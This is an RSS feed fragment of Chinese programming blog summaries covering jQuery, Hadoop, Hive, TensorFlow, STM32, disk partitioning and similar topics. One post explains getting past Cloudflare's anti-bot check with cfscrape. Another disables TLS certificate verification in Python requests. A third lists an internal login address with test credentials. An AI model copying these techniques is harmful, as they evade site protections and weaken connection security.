      <description>======================== node.js搭建本地服务器=====================&#xA;官网下载node.js文件并安装完成 =&amp;gt;&amp;gt; https://nodejs.org/zh-cn/download/&#xA;===============================================================&#xA;本地运行服务器的两种简便方式&#xA;一：使用anywhere运行&#xA;1.输入npm install anywhere -g来安装anywhere，全局安装&#xA;2.cd 到需要运行的项目路径&#xA;3.输入 anywhere 回车运行 (在同一个wifi下在手机输入地址，就可以手机访问了)&#xA;二：使用 http-server 运行&#xA;1.输入 npm install http-server -g 全局安装http-server&#xA;2.cd 到需要运行的项目路径&#xA;3.输入 http-server 回车运行&#xA;转载于:https://www.cnblogs.com/hs610/p/11564247.html</description>
    </item>
    <item>
      <title>$.ajax()各个参数详解</title>
      <link>https://bchobby.github.io/posts/84d10590928cacc40b67e5a96c99b9c2/</link>
      <pubDate>Sat, 21 Sep 2019 16:10:04 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/84d10590928cacc40b67e5a96c99b9c2/</guid>
      <description>jquery中的ajax方法参数总是记不住，这里记录一下。&#xA;1.url: 要求为String类型的参数，（默认为当前页地址）发送请求的地址。&#xA;2.type: 要求为String类型的参数，请求方式（post或get）默认为get。注意其他http请求方法，例如put和delete也可以使用，但仅部分浏览器支持。&#xA;3.timeout: 要求为Number类型的参数，设置请求超时时间（毫秒）。此设置将覆盖$.ajaxSetup()方法的全局设置。&#xA;4.async: 要求为Boolean类型的参数，默认设置为true，所有请求均为异步请求。如果需要发送同步请求，请将此选项设置为false。注意，同步请求将锁住浏览器，用户其他操作必须等待请求完成才可以执行。&#xA;5.cache: 要求为Boolean类型的参数，默认为true（当dataType为script时，默认为false），设置为false将不会从浏览器缓存中加载请求信息。&#xA;6.data: 要求为Object或String类型的参数，发送到服务器的数据。如果已经不是字符串，将自动转换为字符串格式。get请求中将附加在url后。防止这种自动转换，可以查看　processData选项。对象必须为key/value格式，例如{foo1:&#34;bar1&#34;,foo2:&#34;bar2&#34;}转换为&amp;amp;foo1=bar1&amp;amp;foo2=bar2。如果是数组，JQuery将自动为不同值对应同一个名称。例如{foo:[&#34;bar1&#34;,&#34;bar2&#34;]}转换为&amp;amp;foo=bar1&amp;amp;foo=bar2。&#xA;7.dataType: 要求为String类型的参数，预期服务器返回的数据类型。如果不指定，JQuery将自动根据http包mime信息返回responseXML或responseText，并作为回调函数参数传递。可用的类型如下：&#xA;xml：返回XML文档，可用JQuery处理。&#xA;html：返回纯文本HTML信息；包含的script标签会在插入DOM时执行。&#xA;script：返回纯文本JavaScript代码。不会自动缓存结果。除非设置了cache参数。注意在远程请求时（不在同一个域下），所有post请求都将转为get请求。&#xA;json：返回JSON数据。&#xA;jsonp：JSONP格式。使用SONP形式调用函数时，例如myurl?callback=?，JQuery将自动替换后一个“?”为正确的函数名，以执行回调函数。&#xA;text：返回纯文本字符串。&#xA;8.beforeSend：&#xA;要求为Function类型的参数，发送请求前可以修改XMLHttpRequest对象的函数，例如添加自定义HTTP头。在beforeSend中如果返回false可以取消本次ajax请求。XMLHttpRequest对象是惟一的参数。&#xA;function(XMLHttpRequest){&#xA;this; //调用本次ajax请求时传递的options参数&#xA;}&#xA;9.complete：&#xA;要求为Function类型的参数，请求完成后调用的回调函数（请求成功或失败时均调用）。参数：XMLHttpRequest对象和一个描述成功请求类型的字符串。&#xA;function(XMLHttpRequest, textStatus){&#xA;this; //调用本次ajax请求时传递的options参数&#xA;}&#xA;10.success：要求为Function类型的参数，请求成功后调用的回调函数，有两个参数。&#xA;(1)由服务器返回，并根据dataType参数进行处理后的数据。&#xA;(2)描述状态的字符串。&#xA;function(data, textStatus){&#xA;//data可能是xmlDoc、jsonObj、html、text等等&#xA;this; //调用本次ajax请求时传递的options参数&#xA;}&#xA;11.error:&#xA;要求为Function类型的参数，请求失败时被调用的函数。该函数有3个参数，即XMLHttpRequest对象、错误信息、捕获的错误对象(可选)。ajax事件函数如下：&#xA;function(XMLHttpRequest, textStatus, errorThrown){&#xA;//通常情况下textStatus和errorThrown只有其中一个包含信息&#xA;this; //调用本次ajax请求时传递的options参数&#xA;}&#xA;12.contentType：&#xA;要求为String类型的参数，当发送信息至服务器时，内容编码类型默认为&#34;application/x-www-form-urlencoded&#34;。该默认值适合大多数应用场合。&#xA;13.dataFilter：&#xA;要求为Function类型的参数，给Ajax返回的原始数据进行预处理的函数。提供data和type两个参数。data是Ajax返回的原始数据，type是调用jQuery.ajax时提供的dataType参数。函数返回的值将由jQuery进一步处理。&#xA;function(data, type){&#xA;//返回处理后的数据&#xA;return data;&#xA;}&#xA;14.dataFilter：&#xA;要求为Function类型的参数，给Ajax返回的原始数据进行预处理的函数。提供data和type两个参数。data是Ajax返回的原始数据，type是调用jQuery.ajax时提供的dataType参数。函数返回的值将由jQuery进一步处理。&#xA;function(data, type){&#xA;//返回处理后的数据&#xA;return data;</description>
    </item>
    <item>
      <title>C盘不够了怎么办！将其他盘空间怎么分给C盘！</title>
      <link>https://bchobby.github.io/posts/266b8bbb966da20418882df44afb4ae7/</link>
      <pubDate>Sat, 21 Sep 2019 15:31:48 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/266b8bbb966da20418882df44afb4ae7/</guid>
      <description>电脑用着用着，突然一天看到C盘红了，或者系统提示C盘满了，对系统运行会造成影响了。只靠清理缓存，最多只是暂时缓解，不是根本解决，再看看其他盘，还有很多空间，要重新分区么？不用，这里我们详细解答，如何将其他盘的空间分给C盘！&#xA;工具/原料 电脑&#xA;win7 系统&#xA;方法/步骤 1&#xA;在我的“桌面”上，找到“计算机”（XP里面叫做：我的电脑），右键点击，弹出菜单，选择“管理”并点击。&#xA;2&#xA;弹出“计算机管理”窗口，在左侧找到“存储”——“磁盘管理”，点击“磁盘管理”，再右侧就会出现整个计算机所有盘的信息。&#xA;3&#xA;这里首先看到可用“空间里面“，我的E盘可用空间最多，其次看下面信息，我的C盘和E盘都是一个磁盘0里面的，磁盘0是我的固态硬盘，分了2个区。这时我选择可用空间最大的，又是和C盘同一磁盘的。决定把E盘分点空间给C盘。&#xA;4&#xA;右键点击”E盘“，然后选择”压缩卷“。&#xA;5&#xA;等待查询压缩空间后，弹出”压缩E盘“的窗口，在”输入压缩空间量“这栏，输入想要分配给C盘的空间，但是这量不能超过上面的”可用压缩空间大小“。这里我舒服20000M（就是20G左右），然后点击压缩。&#xA;6&#xA;很快，在磁盘0（也就是我的固态硬盘）这块信息里，多了一个绿色的可分配的空间，大小为19.53G，就是我们刚刚从E盘压缩出来的大小，相对的E盘大小就相比之前减少了。&#xA;7&#xA;下面我们将这压缩出来的空间分给C盘，右键C盘，选择”扩展卷“。我们看到”扩展卷“为灰色状态，这是怎么回事。&#xA;8&#xA;这是因为我们压缩出来的绿色空间，紧靠的不是C盘，而是E盘，所以只有E盘可以”扩展卷“。因此如果压缩出来后，紧靠C盘，那么我们可以点击”扩展卷“，然后选择压缩出来的绿色空间，分配给C盘。如果和我一样，那么我们接着看怎么做。&#xA;END&#xA;下面步骤，需要删除没什么用的盘 1&#xA;因为E盘是游戏盘， 对我来说，没啥用，我可以格掉。当然，你也可以选择一个没啥用的盘压缩，（或者进行备份）然后不行可以格掉。&#xA;我们对E盘右键”扩展卷“。在”扩展卷“窗口，我们将之前压缩出来的再换给E盘。&#xA;2&#xA;然后，我们对E盘点击右键，选择”删除卷“，将E盘删除后，看到只剩C盘和绿色空间。&#xA;对C盘点击右键，”扩展卷“还是灰色的。。。。怎么办。&#xA;看来主分区只能分配到”未分配的空间“。。。&#xA;我们对绿色的可用空间，点击右键，然后选择”删除分区“。&#xA;删除后，绿色的空间，变成了黑色的未分配空间。&#xA;这个时候，我们可以将未分配的空间自由的分配给C盘。我们对C盘点击右键，然后选择“扩展卷”&#xA;再“扩展卷”窗口里面，选择我想要分配的大小，我想分配“20G”左右，输入20000。&#xA;这是C盘容量增大了，剩下的未分配空间还有60G左右。&#xA;将剩下的未分配空间，我再次新建成E盘（我的游戏分区）。对未分配空间，点击右键，选择“新建简单卷”&#xA;在弹出的窗口里，保持默认，我准备剩下的全部做E盘，所以不再调整分配大小，直接“下一步”。&#xA;驱动盘符，我还是保持原来的E盘不变，直接“下一步”&#xA;“卷标”里面，我改成“游戏”。然后点击“下一步”&#xA;这样就完成了，C盘也变大了，E盘也新建了。可能跳出格式化E盘，确定快速格式化。就大功告成了！。这样才是根本的解决C盘空间，光靠清理缓存的那点空间是不够的！&#xA;END&#xA;注意事项 整个过程在WIN7系统下，其他系统可能操作有所不同。&#xA;一定要仔细看完所有操作，当中可能会对资料要进行备份，不然资料丢失了就不划算了。</description>
    </item>
    <item>
      <title>Hadoop需要的jar包的导入</title>
      <link>https://bchobby.github.io/posts/4bc48e25bf788cad8a033845580cb6ed/</link>
      <pubDate>Sat, 21 Sep 2019 11:05:18 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/4bc48e25bf788cad8a033845580cb6ed/</guid>
      <description> Hadoop需要的jar包 目录：/usr/local/hadoop/share/hadoop/common&#xA;hadoop-common-2.7.1.jar&#xA;haoop-nfs-2.7.1.jar&#xA;目录：/usr/local/hadoop/share/hadoop/common/lib&#xA;此目录下的所有jar包&#xA;目录：/usr/local/hadoop/share/hadoop/hdfs&#xA;haoop-hdfs-2.7.1.jar&#xA;haoop-hdfs-nfs-2.7.1.jar；&#xA;目录：/usr/local/hadoop/share/hadoop/hdfs/lib&#xA;此目录下的所有jar包&#xA;关于通过IDEA 社区版进行jar的导入 选择那个Project Structrue在里面进行jar的导入即可。&#xA;之后就可以愉快的导入这些常用包了&#xA;import org.apache.hadoop.fs.FileSystem; import org.apache.hadoop.fs.LocatedFileStatus; import org.apache.hadoop.fs.Path; import org.apache.hadoop.fs.RemoteIterator; import org.apache.hadoop.conf.Configuration; </description>
    </item>
    <item>
      <title>jquery中each函数的详细用法</title>
      <link>https://bchobby.github.io/posts/5b16ac6cb2ecf2d637f740ebec35a081/</link>
      <pubDate>Sat, 21 Sep 2019 09:07:17 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/5b16ac6cb2ecf2d637f740ebec35a081/</guid>
      <description>each()函数是基本上所有的框架都提供了的一个工具类函数，通过它，你可以遍历对象、数组的属性值并进行处理。jQuery和jQuery对象都实 现了该方法，对于jQuery对象，只是把each方法简单的进行了委托：把jQuery对象作为第一个参数传递给jQuery的each方法.换句话 说：jQuery提供的each方法是对参数一提供的对象的中所有的子元素逐一进行方法调用。而jQuery对象提供的each方法则是对jQuery内 部的子元素进行逐个调用。 each函数根据参数的类型实现的效果不完全一致： 1、遍历对象(有附加参数) $. each(Object, function(p1, p2) { this; //这里的this指向每次遍历中Object的当前属性值 p1; p2; //访问附加参数 }, [&#39;参数1&#39;, &#39;参数2&#39;]); 2、遍历数组(有附件参数) $. each(Array, function(p1, p2){ this; //这里的this指向每次遍历中Array的当前元素 p1; p2; //访问附加参数 }, [&#39;参数1&#39;, &#39;参数2&#39;]); 3、遍历对象(没有附加参数) $. each(Object, function(name, value) { this; //this指向当前属性的值 name; //name表示Object当前属性的名称 value; //value表示Object当前属性的值 }); 4、遍历数组(没有附加参数) $.each(Array, function(i, value) { this; //this指向当前元素 i; //i表示Array当前下标 value; //value表示Array当前元素 }); 下面提一下jQuery的each方法的几种常用的用法 HTML 预览 var arr = [ &#34;one&#34;, &#34;two&#34;, &#34;three&#34;, &#34;four&#34;]; $.each(arr, function(){ alert(this); }); //上面这个each输出的结果分别为：one,two,three,four var arr1 = [[1, 4, 3], [4, 6, 6], [7, 20, 9]] $.</description>
    </item>
    <item>
      <title>iTop讯为开发板在win10环境下无法成功安装ADB Interface驱动的解决方案</title>
      <link>https://bchobby.github.io/posts/66b39d2fcd14ade7d96c5c090ab68247/</link>
      <pubDate>Fri, 20 Sep 2019 22:27:44 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/66b39d2fcd14ade7d96c5c090ab68247/</guid>
      <description>最近在使用iTop的开发板时，遇到这样一个问题，在win10环境下，无法识别到ADB Interface，无法进行OTG烧写&#xA;手册里直接给了这样一张图，没有任何操作步骤&#xA;网上的资料也是特别少，后来才发现，其实这个是两个驱动放在了一个设备上。&#xA;下面，仔细说明一下：&#xA;一：ADB驱动&#xA;开发板提供的资料里面有ADB驱动，安装后，系统会将设备识别成 其他设备 Android 1.0，如下&#xA;经反复插拔测试，无法实现识别出Android ADB Interface，因为此处缺少一个Android ADB Interface驱动，此驱动可在网上下载到&#xA;二：安装Android ADB Interface驱动&#xA;右键Android 1.0设备，选择更新驱动，选择浏览我的计算机以查找驱动程序软件&#xA;选择 让我从计算机上的可用程序驱动程序列表中选取&#xA;选择设备类型为Andriod Phone&#xA;选择设备驱动程序为Andriod ADB Interface，然后浏览文件，选择Andriod ADB Interface驱动，开始安装。&#xA;安装完成&#xA;如果安装的时候提示如下问题，请参考此篇文章。&#xA;https://blog.csdn.net/wyq1805/article/details/101081879</description>
    </item>
    <item>
      <title>反反爬 | 如何巧过 CloudFlare 5秒盾？</title>
      <link>https://bchobby.github.io/posts/34505c3ed71e12e7bc6703e44cd04674/</link>
      <pubDate>Fri, 20 Sep 2019 21:54:32 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/34505c3ed71e12e7bc6703e44cd04674/</guid>
      <description>巧破 Cloudflare 5秒盾 相信下面这个界面大家都不会陌生。【图1-1】&#xA;图1-1 当我们第一次访问使用 CloudFlare 加速的网站时，网站就会出现让我们等待 5 秒种的提示，当我们需要的通过爬虫爬取这类网站的时候，应该如何爬取呢？&#xA;分析请求 首先我们需要分析在这个等待的时间里浏览器做了哪些操作。&#xA;通过抓包，我们可以看到在等待的过程中，浏览器做了下面的三次请求【图1-2】- 【图1-4】：&#xA;【图1-2】请求 1 写入 cookie 字段 __cfduid 图1-2 【图1-3】请求 2 带有疑似加密的请求参数请求并写入 cookie 字段 cf_clearance&#xA;图1-3 【图1-4】请求 3 带上前面写入的cookie 请求网站首页，返回首页内容。&#xA;图1-4 这整个过程需要的请求现在已经分析清楚了，接下来就是使用 Python 实现这个请求流程，不过是这样的话就配不上这个标题了。&#xA;先说说这个按照正常流程是怎么实现抓取绕过的：&#xA;使用浏览器模拟技术请求目标网站，例如：Selenium、 PhantomJS等&#xA;破解请求 2 的加密参数使用请求库模拟整个请求过程&#xA;这两个方法当然是可以抓取的，但是都不符合标题的巧字。&#xA;接下来给大家介绍一个专门为了绕过这个 CloudFlare 开发的 Python 库 cloudflare-scrape&#xA;用上它就可以无感爬取使用了 CloudFlare 的网站，使用这个库非常简单。&#xA;安装 使用pip install cfscrape安装cloudflare-scrape，同时确认本地是否安装node.js开发环境，如果没有，需要安装配置nodejs开发环境。&#xA;使用实例 处理 get 请求的 CloudFlare&#xA;import cfscrape # 实例化一个create_scraper对象 scraper = cfscrape.create_scraper() # 请求报错，可以加上时延 # scraper = cfscrape.</description>
    </item>
    <item>
      <title>[算法]PriorityQueue的应用</title>
      <link>https://bchobby.github.io/posts/2e791aef918d8111baf2cc752d5fe0dc/</link>
      <pubDate>Fri, 20 Sep 2019 15:48:00 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/2e791aef918d8111baf2cc752d5fe0dc/</guid>
      <description>1. 数据流中的第K大元素 题目 设计一个找到数据流中第K大元素的类（class）。注意是排序后的第K大元素，不是第K个不同的元素。&#xA;你的 KthLargest 类需要一个同时接收整数 k 和整数数组nums 的构造器，它包含数据流中的初始元素。每次调用 KthLargest.add，返回当前数据流中第K大的元素。&#xA;示例:&#xA;int k = 3;&#xA;int[] arr = [4,5,8,2];&#xA;KthLargest kthLargest = new KthLargest(3, arr);&#xA;kthLargest.add(3); // returns 4&#xA;kthLargest.add(5); // returns 5&#xA;kthLargest.add(10); // returns 5&#xA;kthLargest.add(9); // returns 8&#xA;kthLargest.add(4); // returns 8&#xA;说明:&#xA;你可以假设 nums 的长度≥ k-1 且k ≥ 1。&#xA;来源：力扣（LeetCode）&#xA;链接：https://leetcode-cn.com/problems/kth-largest-element-in-a-stream&#xA;著作权归领扣网络所有。商业转载请联系官方授权，非商业转载请注明出处。&#xA;思路 建立元素为k的小顶堆，堆顶元素就是第k大的元素。&#xA;代码 import java.util.PriorityQueue; import java.util.Queue; class KthLargest { private Queue&amp;lt;Integer&amp;gt; queue; private int size; public KthLargest(int k, int[] nums) { //建立一个小顶堆 queue = new PriorityQueue&amp;lt;&amp;gt;(k); size = k; for (int i = 0; i &amp;lt; nums.</description>
    </item>
    <item>
      <title>hive正则表达式之 regexp regexp_extract regexp_replace</title>
      <link>https://bchobby.github.io/posts/a8195ec2c7d130e55542ff03c6de7bc1/</link>
      <pubDate>Fri, 20 Sep 2019 11:20:04 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/a8195ec2c7d130e55542ff03c6de7bc1/</guid>
      <description>1.regexp 语法: A REGEXP B&#xA;操作类型: strings&#xA;描述: 功能与RLIKE相同&#xA;select count(*) from olap_b_dw_hotelorder_f where create_date_wid not regexp &#39;\\d{8}&#39; 与下面查询的效果是等效的：&#xA;select count(*) from olap_b_dw_hotelorder_f where create_date_wid not rlike &#39;\\d{8}&#39;; 2.regexp_extract 语法: regexp_extract(string subject, string pattern, int index)&#xA;返回值: string&#xA;说明：将字符串subject按照pattern正则表达式的规则拆分，返回index指定的字符。&#xA;hive&amp;gt; select regexp_extract(&#39;IloveYou&#39;,&#39;I(.*?)(You)&#39;,1) from test1 limit 1; Total jobs = 1 ... Total MapReduce CPU Time Spent: 7 seconds 340 msec OK love Time taken: 28.067 seconds, Fetched: 1 row(s) hive&amp;gt; select regexp_extract(&#39;IloveYou&#39;,&#39;I(.</description>
    </item>
    <item>
      <title>ZigBee</title>
      <link>https://bchobby.github.io/posts/bfe2f45c9c696dcd039da181a687fae5/</link>
      <pubDate>Fri, 20 Sep 2019 06:17:22 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/bfe2f45c9c696dcd039da181a687fae5/</guid>
      <description>介绍 ZigBee是基于IEEE802.15.4标准的低功耗局域网协议。根据国际标准规定，ZigBee技术是一种短距离、低功耗的无线通信技术。 这一名称（又称紫蜂协议）来源于蜜蜂的八字舞，由于蜜蜂(bee)是靠飞翔和“嗡嗡”(zig)地抖动翅膀的“舞蹈”来与同伴传递花粉所在方位信息，也就是说蜜蜂依靠这样的方式构成了群体中的通信网络。其特点是近距离、低复杂度、自组织、低功耗、低数据速率。主要适合用于自动控制和远程控制领域，可以嵌入各种设备。简而言之，ZigBee就是一种便宜的，低功耗的近距离无线组网通讯技术。ZigBee是一种低速短距离传输的无线网络协议。ZigBee协议从下到上分别为物理层(PHY)、媒体访问控制层(MAC)、传输层(TL)、网络层(NWK)、应用层(APL)等。其中物理层和媒体访问控制层遵循IEEE 802.15.4标准的规定。 参考 百度百科对ZigBee的介绍 转载于:https://my.oschina.net/surenpi/blog/604781</description>
    </item>
    <item>
      <title>关于tfrecord写入和读取数据时前后维度不同的问题</title>
      <link>https://bchobby.github.io/posts/904de81032081a91f5bab55d4e1d14df/</link>
      <pubDate>Thu, 19 Sep 2019 19:19:43 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/904de81032081a91f5bab55d4e1d14df/</guid>
      <description>samples = tf.train.batch(read_and_decode(filename_queue, pr, input_types), batch_size=32) 在生成完TFRecords，然后在通过tf.train.batch()读取的时候遇到了以下问题：&#xA;OutOfRangeError (see above for traceback): FIFOQueue &#39;_1_batch/fifo_queue&#39; is closed and has insufficient elements (requested 32, current size 0)&#xA;然后我不通过tf.train.batch()来读,samples = read_and_decode(filename_queue, pr, input_types)，又提示我如下问题：&#xA;tensorflow.python.framework.errors_impl.InvalidArgumentError exception str() failed&#xA;这个问题卡了我好几个小时，然后测试的时候发现，tfrecord写入时候shape(21000,)，但是读取数据的shape居然翻了4倍，(84000,)。&#xA;最开始的时候代码的时候是这样子的：&#xA;写入：&#xA;snd = sound.load_sound(snd_file).normalized() # float64 samples = snd.samples[:pr.full_samples_len] # (&#39;samples.shape:&#39;, (105000, 2)) samples = samples.reshape(samples.size, ) # 双声道转为一个声道 (&#39;samples.shape:&#39;, (210000,)) sound_raw = samples.tostring() # 构造一个样本的example协议块 example = tf.train.Example(features=tf.train.Features(feature={ &#34;sound&#34;: _bytes_feature(sound_raw) })) # 读取：</description>
    </item>
    <item>
      <title>STM32串口通信中使用printf和USART_SendData比较</title>
      <link>https://bchobby.github.io/posts/d635b53d8abcba9bdf1085e9152522f6/</link>
      <pubDate>Thu, 19 Sep 2019 17:38:51 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/d635b53d8abcba9bdf1085e9152522f6/</guid>
      <description>1、printf和 USART_SendData稳定性都很高。&#xA;前者实现格式化字符，字符串比较有优势，后者传送单个字符和指令比较合适。&#xA;2、在复杂的串口通信协议实现中，建议printf()用作大文本及信息显示。&#xA;涉及自定义帧头+校验的通信时，用USART_SendData实现单字符及控制命令。&#xA;3、这两个占用代码量非常小，可以忽略，除非在FLASH严格的场合，目前ST的产品FLASH容量都足够大&#xA;1、如果用作调试和串口打印，建议使用printf，这是有标准C语言定义的库函数，其稳定性、兼容性和便利性都很高。 但是它归根究底是调用USART_SendData，因此效率会稍微低一点，且编译的文件会将标准库函数都编译进去（因为调用了标准库函数的头问价，编译时其编译依赖关系要求编译真个库文件）。&#xA;2、如果是串口传送文件，或者频繁做数传，建议直接USART_SendData，效率更高，或者封装成一个函数专门做个特性的发送/接受功能，效率更高，</description>
    </item>
    <item>
      <title>Html5中的画布操作之矩阵转换操作-transform()和setTransform()</title>
      <link>https://bchobby.github.io/posts/00ccd83c09979215b726f170133820a6/</link>
      <pubDate>Thu, 19 Sep 2019 15:32:32 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/00ccd83c09979215b726f170133820a6/</guid>
      <description>矩阵转换 | transform(a, b, c, d, e, f)&#xA;canvas/transform/transform.html&#xA;&amp;lt;!DOCTYPE HTML&amp;gt;&#xA;&amp;lt;html&amp;gt;&#xA;&amp;lt;head&amp;gt;&#xA;&amp;lt;title&amp;gt;矩阵转换 | transform(a, b, c, d, e, f)&amp;lt;/title&amp;gt;&#xA;&amp;lt;/head&amp;gt;&#xA;&amp;lt;body&amp;gt;&#xA;&amp;lt;canvas id=&#34;canvas&#34; width=&#34;400&#34; height=&#34;400&#34; style=&#34;background-color: rgb(222, 222, 222)&#34;&amp;gt;&#xA;您的浏览器不支持 canvas 标签&#xA;&amp;lt;/canvas&amp;gt;&#xA;&amp;lt;br /&amp;gt;&#xA;&amp;lt;button type=&#34;button&#34; onclick=&#34;drawIt();&#34;&amp;gt;不断地点我看 Demo&amp;lt;/button&amp;gt;&#xA;&amp;lt;button type=&#34;button&#34; onclick=&#34;clearIt();&#34;&amp;gt;清除画布&amp;lt;/button&amp;gt;&#xA;&amp;lt;script type=&#34;text/javascript&#34;&amp;gt;&#xA;var ctx = document.getElementById(&#39;canvas&#39;).getContext(&#39;2d&#39;);&#xA;var canvasScaleX = 1;&#xA;var canvasScaleY = 1;&#xA;var stepScaleX = 1.1;&#xA;var stepScaleY = 1.1;&#xA;function drawIt() {</description>
    </item>
    <item>
      <title>[DEBUG] ubuntu pip安装成功却无法import</title>
      <link>https://bchobby.github.io/posts/e77d508585065f5433171ced6d20209a/</link>
      <pubDate>Thu, 19 Sep 2019 14:53:00 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/e77d508585065f5433171ced6d20209a/</guid>
      <description>我的pip经常出问题，我也不知道为啥。。今天搞啥啥坏=。=&#xA;问题：&#xA;pip自动安装显示成功，在交互环境下却无法import&#xA;==========================踩坑=================================&#xA;首先要考虑路径问题。先pip uninstall看看它装到哪里了，然后在python里看sys.path&#xA;确定是不是真的是能搜索到的。&#xA;当前pip会把包安装到&#xA;/usr/local/lib/python2.7/dist-packages&#xA;然而setuptools装在&#xA;/usr/lib/python2.7/dist-packages&#xA;这两个路径都不在我的pthon27搜索路径中。&#xA;所以就算是下载tar.gz源码(tar -zxvf)解压后python setup.py install，也会报错说找不到setuptools&#xA;解决方案：&#xA;sudo vi /etc/profile&#xA;添加&#xA;export PYTHONPATH=$PYTHONPATH:/usr/lib/python2.7/dist-packages:/usr/local/lib/python2.7/dist-packages&#xA;再生效&#xA;source /etc/profile&#xA;随后在python27中可以正常import&#xA;如果只是临时更改搜索路径，那直接在sys.path上append就好了。&#xA;============================================================================&#xA;我是Ruriko，我爱这个世界：）&#xA;转载于:https://www.cnblogs.com/pxy7896/p/11549677.html</description>
    </item>
    <item>
      <title>mtp使用教程（临时）</title>
      <link>https://bchobby.github.io/posts/0d767ccea74ade1d88ad97799962ea01/</link>
      <pubDate>Thu, 19 Sep 2019 14:32:35 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/0d767ccea74ade1d88ad97799962ea01/</guid>
      <description>http://10.180.5.13:8085/mtp/login.jsp 临时登录地址，账号密码test1&#xA;登录完毕点击获取参数页面，&#xA;1.根据Remedy 做维护根据luke MTP模版，导出的线路信息的excel文件&#xA;2.维护点上传文件点击before,维护后点击after</description>
    </item>
    <item>
      <title>https ssl 错误 及忽略rllib3.disable_warnings() 解释</title>
      <link>https://bchobby.github.io/posts/8ebc8667a38688c92a00ad3cc94f5175/</link>
      <pubDate>Thu, 19 Sep 2019 14:20:05 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/8ebc8667a38688c92a00ad3cc94f5175/</guid>
      <description>python做爬虫，对于有的网站，需要验证证书，比如：awazon，https://awazon.com&#xA;import urllib3 import requests # 导入requests urllib3.disable_warnings() session = requests.session() #SSL证书验证的方法：加参数：verify=证书路径，或verify=False 不验证ssl 默认为True response = session.get(url, headers=headers, proxies=proxies, verify=False, timeout=(3, 7)) 参考简书：http://www.jianshu.com/p/e42005d48929&#xA;rllib3.disable_warnings() 解释&#xA;requests 库其实是基于 urllib 编写的，对 urllib 进行了封装，使得使用时候的体验好了很多，现在 urllib 已经出到了3版本，功能和性能自然是提升了不少。&#xA;所以，requests最新版本也是基于最新的 urllib3 进行封装。&#xA;在urllib2时代对https的处理非常简单，只需要在请求的时候加上 verify=False 即可，这个参数的意思是忽略https安全证书的验证，也就是不验证证书的可靠性，直接请求，&#xA;这其实是不安全的，因为证书可以伪造，不验证的话就不能保证数据的真实性。&#xA;在urllib3时代，官方强制验证https的安全证书，如果没有通过是不能通过请求的，虽然添加忽略验证的参数，但是依然会 给出醒目的 Warning，这一点没毛病。&#xA;解决办法：&#xA;添加两行代码 禁用 urllib3警告</description>
    </item>
    <item>
      <title>JS   textarea多行文本框内容 换行</title>
      <link>https://bchobby.github.io/posts/5688d43addae97f917535e446ba98cc3/</link>
      <pubDate>Thu, 19 Sep 2019 10:12:52 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/5688d43addae97f917535e446ba98cc3/</guid>
      <description>textarea多行文本 换行保存的时候，其实保存的是‘\n’,直接再读取的textarea多行文本里是没有问题的&#xA;但是要放在页面上展示，‘\n’不会换行，所以在多行文本框保存的时候，要先进行转换，&#39;\n’转换成‘&amp;lt;br/&amp;gt;’标签，这样可以直接读取成换行展示，例如：&#xA;this.InfoList[5].valueText=this.InfoList[5].valueText.replace(/\n/g,&#34;&amp;lt;br/&amp;gt;&#34;)；&#xA;如果是还原到textarea里面，要先转化回来，textarea不会把&amp;lt;br/&amp;gt;标签识别成换行的&#xA;var reg=new RegExp(&#34;&amp;lt;br/&amp;gt;&#34;,&#34;g&#34;);&#xA;this.InfoList[5].valueText=this.InfoList[5].valueText.replace(reg,&#34;\r\n&#34;);&#xA;这样换行就能正常展示了</description>
    </item>
    <item>
      <title>俄罗斯方块-C语言（从0开始到有色界面）</title>
      <link>https://bchobby.github.io/posts/201978614c73fde397c3e9534b99d67a/</link>
      <pubDate>Thu, 19 Sep 2019 01:10:59 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/201978614c73fde397c3e9534b99d67a/</guid>
      <description>大一c语言课设写的俄罗斯方块，看了好几遍原著的源码，从0开始写并对原著进行了注释、改进与优化。原著能力很强，感谢原著自写的初版参考，原著链接：https://blog.csdn.net/lanse_l/article/details/74959248&#xA;彻底从0开始写了一遍，算是对细节有了比较深的领悟。有同样想法的朋友欢迎交流，有什么看不懂的请在下方留言，看到会及时回复。&#xA;GitHub链接：https://github.com/JellyfishMIX/Tetris.c-from-0-to-colored-interface&#xA;阅读指引（重要）：1.文字说明比较长，建议先略过前半部分文字说明，直接按2.中所说的顺序看源码，看到某个自定义函数需要参考再回来看文字说明。&#xA;2.想要从0开始写的朋友，给一个思路：别的不看，先写最底部的windowsAPI。然后从main()开始入手，遇到新的自定义函数或变量，去翻源码，一点点扣源码。&#xA;3.所有用到的自定义函数、全局变量、结构体均已在main()前声明，按第一次被调用的先后顺序排列，并标明了功能注释。&#xA;“消除”发生后运行效果截图 一、摘要 目的：做一个俄罗斯方块，具有旋转功能，满一行清除功能，记录得分、最高成绩。&#xA;方法：&#xA;1. 采用了模块化的开发方式，把程序分为好几个功能模块来实现，主函数mian()只用来调用这些功能模块。&#xA;此外，各个功能模块间也有互相调用的情况。&#xA;2. 预设了宏定义DOWN LEFT RRIGHT BOX WALL KONG等，预设给其ASCII码，方便后续调用与辨识。&#xA;3. 通过blocks[base][space_z]，（一维base表示7个基础方块，二维space_z表示旋转状态），叠加space[4][4]，得到一个四维数组，用来预设7+7*3=28种图形。&#xA;4. 预设了一个结构体face，其中存储着face.data[][]记录BOX WALL KONG，face.color[][]记录堆叠的图形每一块的颜色。&#xA;5. 使用了c语言文件操作知识来保存/读取最高得分。&#xA;6. 为了使界面更美观，使用自定义函数hidden_cursor()隐藏了光标，使用自定义函数color控制光标输出字符的颜色。&#xA;7. 为了渲染界面，使用了自定函数gotoxy()控制光标在cmd窗口中的坐标位置。&#xA;读取键入信息，实现操作功能，利用了控制键的ASCII码，使用switch()结构选择键入控制键对应的功能模块。&#xA;二、详细说明 1. 